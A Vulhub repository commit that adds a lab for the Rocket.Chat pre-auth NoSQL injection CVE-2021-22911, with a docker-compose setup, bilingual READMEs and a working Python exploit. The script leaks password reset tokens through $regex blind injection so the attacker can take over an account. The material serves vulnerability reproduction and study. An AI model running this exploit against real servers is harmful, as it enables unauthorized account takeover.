first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
This commit is contained in:
BIN
rocketchat/CVE-2021-22911/1.png
Normal file
BIN
rocketchat/CVE-2021-22911/1.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 28 KiB |
BIN
rocketchat/CVE-2021-22911/2.png
Normal file
BIN
rocketchat/CVE-2021-22911/2.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 100 KiB |
BIN
rocketchat/CVE-2021-22911/3.png
Normal file
BIN
rocketchat/CVE-2021-22911/3.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 78 KiB |
BIN
rocketchat/CVE-2021-22911/4.png
Normal file
BIN
rocketchat/CVE-2021-22911/4.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 72 KiB |
BIN
rocketchat/CVE-2021-22911/5.png
Normal file
BIN
rocketchat/CVE-2021-22911/5.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 84 KiB |
63
rocketchat/CVE-2021-22911/CVE-2021-22911.py
Normal file
63
rocketchat/CVE-2021-22911/CVE-2021-22911.py
Normal file
@@ -0,0 +1,63 @@
|
||||
import sys
|
||||
import time
|
||||
import string
|
||||
import json
|
||||
import requests
|
||||
|
||||
|
||||
guess = '-_' + string.digits + string.ascii_letters
|
||||
session = requests.session()
|
||||
session.headers = {
|
||||
'Content-Type': 'application/json',
|
||||
}
|
||||
|
||||
|
||||
def reset_password(target: str, email: str):
|
||||
payload = {
|
||||
'msg': 'method',
|
||||
'method': 'sendForgotPasswordEmail',
|
||||
'params': [email],
|
||||
}
|
||||
|
||||
session.post(
|
||||
f'{target}/api/v1/method.callAnon/sendForgotPasswordEmail',
|
||||
json={'message': json.dumps(payload)},
|
||||
)
|
||||
sys.stdout.write("[+] Password Reset Email Sent\n")
|
||||
sys.stdout.flush()
|
||||
|
||||
|
||||
def inject_token(target: str):
|
||||
payload = {
|
||||
'msg': 'method',
|
||||
'method': 'getPasswordPolicy',
|
||||
'params': [
|
||||
{
|
||||
'token': {'$regex': '^'}
|
||||
}
|
||||
],
|
||||
}
|
||||
for i in range(43):
|
||||
current = payload['params'][0]['token']['$regex']
|
||||
sys.stdout.write(f'[*] Guess No.{i + 1} character: ')
|
||||
for ch in guess:
|
||||
payload['params'][0]['token']['$regex'] = current + ch
|
||||
response = session.post(
|
||||
f'{target}/api/v1/method.callAnon/getPasswordPolicy',
|
||||
json={'message': json.dumps(payload)},
|
||||
)
|
||||
if b'Meteor.Error' not in response.content:
|
||||
sys.stdout.write(f"\n[+] Current token is {payload['params'][0]['token']['$regex'][1:]}\n")
|
||||
sys.stdout.flush()
|
||||
break
|
||||
else:
|
||||
sys.stdout.write('.')
|
||||
sys.stdout.flush()
|
||||
|
||||
time.sleep(1.5)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
target = sys.argv[1]
|
||||
reset_password(target, sys.argv[2])
|
||||
inject_token(target)
|
52
rocketchat/CVE-2021-22911/README.md
Normal file
52
rocketchat/CVE-2021-22911/README.md
Normal file
@@ -0,0 +1,52 @@
|
||||
# Rocket Chat Pre-Auth Blind NoSQL Injection (CVE-2021-22911)
|
||||
|
||||
[中文版本(Chinese version)](README.zh-cn.md)
|
||||
|
||||
Rocket.chat is an open source team chat platform.
|
||||
|
||||
At Rocket Chat from 3.12.1 to 3.13.2, The `getPasswordPolicy` method is vulnerable to NoSQL injection attacks and does not require authentication/authorization. It can be used to take over normal user accounts by leaking password reset tokens.
|
||||
|
||||
References:
|
||||
|
||||
- https://blog.sonarsource.com/nosql-injections-in-rocket-chat
|
||||
- https://www.exploit-db.com/exploits/50108
|
||||
- https://github.com/CsEnox/CVE-2021-22911
|
||||
- https://paper.seebug.org/1652/
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
Executing following command to start a Rocket Chat 3.12.1:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
Once the server is started, visit `http://your-ip:3000` to see the installation wizard.
|
||||
|
||||
After the installation is complete, in order to verify the attack, you need to add a normal user in the administration with the username `vulhub` and the email `vulhub@vulhub.org`.
|
||||
|
||||
## Exploit
|
||||
|
||||
There is three steps to reproduce the vulnerability:
|
||||
|
||||
1. Reset the password on the login page, and the server will generate a Password Reset Token in the database
|
||||
2. Use NoSQL injection to expose this Password Reset Token
|
||||
3. Use Password Reset Token to change the user's password
|
||||
|
||||
At the step two, you can use `$regex` directive to perform the attack.
|
||||
|
||||
In my scenario, when `$regex` is equal to `^7`, an error message returned:
|
||||
|
||||

|
||||
|
||||
When `$regex` is equal to `^8`, the response is different. It proves that the Token is starts with `8`:
|
||||
|
||||

|
||||
|
||||
Use this simple script [CVE-2021-22911.py](CVE-2021-22911.py) to exfiltrate the Password Reset Token:
|
||||
|
||||

|
||||
|
||||
Change user password successfully:
|
||||
|
||||

|
51
rocketchat/CVE-2021-22911/README.zh-cn.md
Normal file
51
rocketchat/CVE-2021-22911/README.zh-cn.md
Normal file
@@ -0,0 +1,51 @@
|
||||
# Rocket Chat 前台 NoSQL 盲注漏洞(CVE-2021-22911)
|
||||
|
||||
Rocket Chat是一款基于Node.js、MongoDB的开源团队聊天工具。在其3.12.1~3.13.2版本中,存在一处MongoDB注入漏洞,利用这个漏洞,攻击者可以获取用户敏感信息,甚至在服务器上执行任意命令。
|
||||
|
||||
这个漏洞有两种攻击方式:
|
||||
|
||||
- 未授权攻击者可以利用这个漏洞,获取任意普通用户的Password Reset Token,并通过这个Token修改其密码
|
||||
- 普通用户可以利用这个漏洞,获取任意用户的任意信息
|
||||
|
||||
参考链接:
|
||||
|
||||
- https://blog.sonarsource.com/nosql-injections-in-rocket-chat
|
||||
- https://www.exploit-db.com/exploits/50108
|
||||
- https://github.com/CsEnox/CVE-2021-22911
|
||||
- https://paper.seebug.org/1652/
|
||||
|
||||
## 环境搭建
|
||||
|
||||
执行如下命令启动一个Rocket Chat 3.12.1:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
环境启动后,访问`http://your-ip:3000`即可查看到Rocket Chat的安装向导,跟随向导进行安装即可。
|
||||
|
||||
安装完成后,为了验证第一个攻击方法,我们需要在后台增加一个普通用户,用户名为`vulhub`,邮箱为`vulhub@vulhub.org`。
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
我们只来复现第一种利用方式。复现这个漏洞需要三步:
|
||||
|
||||
1. 通过邮箱找回密码,后台会在数据库中会生成Password Reset Token
|
||||
2. 利用MongoDB注入,获取这个Password Reset Token
|
||||
3. 使用Password Reset Token来更改这个用户的密码
|
||||
|
||||
其中,我们使用`$regex`语句进行MongoDB注入,当`$regex: ^7`时,不匹配,返回一个错误信息:
|
||||
|
||||

|
||||
|
||||
当`$regex: ^8`时能够匹配,返回正确信息:
|
||||
|
||||

|
||||
|
||||
将注入的过程通过[CVE-2021-22911.py](CVE-2021-22911.py)这个小脚本进行实现,自动化获取Password Reset Token:
|
||||
|
||||

|
||||
|
||||
使用Password Reset Token修改用户密码成功:
|
||||
|
||||

|
48
rocketchat/CVE-2021-22911/docker-compose.yml
Normal file
48
rocketchat/CVE-2021-22911/docker-compose.yml
Normal file
@@ -0,0 +1,48 @@
|
||||
version: '2'
|
||||
services:
|
||||
rocketchat:
|
||||
image: vulhub/rocketchat:3.12.1
|
||||
command: >
|
||||
bash -c
|
||||
"for i in `seq 1 30`; do
|
||||
node main.js &&
|
||||
s=$$? && break || s=$$?;
|
||||
echo \"Tried $$i times. Waiting 5 secs...\";
|
||||
sleep 5;
|
||||
done; (exit $$s)"
|
||||
restart: unless-stopped
|
||||
environment:
|
||||
- PORT=3000
|
||||
- ROOT_URL=http://localhost:3000
|
||||
- MONGO_URL=mongodb://mongo:27017/rocketchat
|
||||
- MONGO_OPLOG_URL=mongodb://mongo:27017/local
|
||||
- MAIL_URL=smtp://smtp.email
|
||||
depends_on:
|
||||
- mongo
|
||||
ports:
|
||||
- 3000:3000
|
||||
|
||||
mongo:
|
||||
image: mongo:4.0
|
||||
restart: unless-stopped
|
||||
command: mongod --smallfiles --oplogSize 128 --replSet rs0 --storageEngine=mmapv1
|
||||
labels:
|
||||
- "traefik.enable=false"
|
||||
|
||||
# this container's job is just run the command to initialize the replica set.
|
||||
# it will run the command and remove himself (it will not stay running)
|
||||
mongo-init-replica:
|
||||
image: mongo:4.0
|
||||
command: >
|
||||
bash -c
|
||||
"for i in `seq 1 30`; do
|
||||
mongo mongo/rocketchat --eval \"
|
||||
rs.initiate({
|
||||
_id: 'rs0',
|
||||
members: [ { _id: 0, host: 'localhost:27017' } ]})\" &&
|
||||
s=$$? && break || s=$$?;
|
||||
echo \"Tried $$i times. Waiting 5 secs...\";
|
||||
sleep 5;
|
||||
done; (exit $$s)"
|
||||
depends_on:
|
||||
- mongo
|
Reference in New Issue
Block a user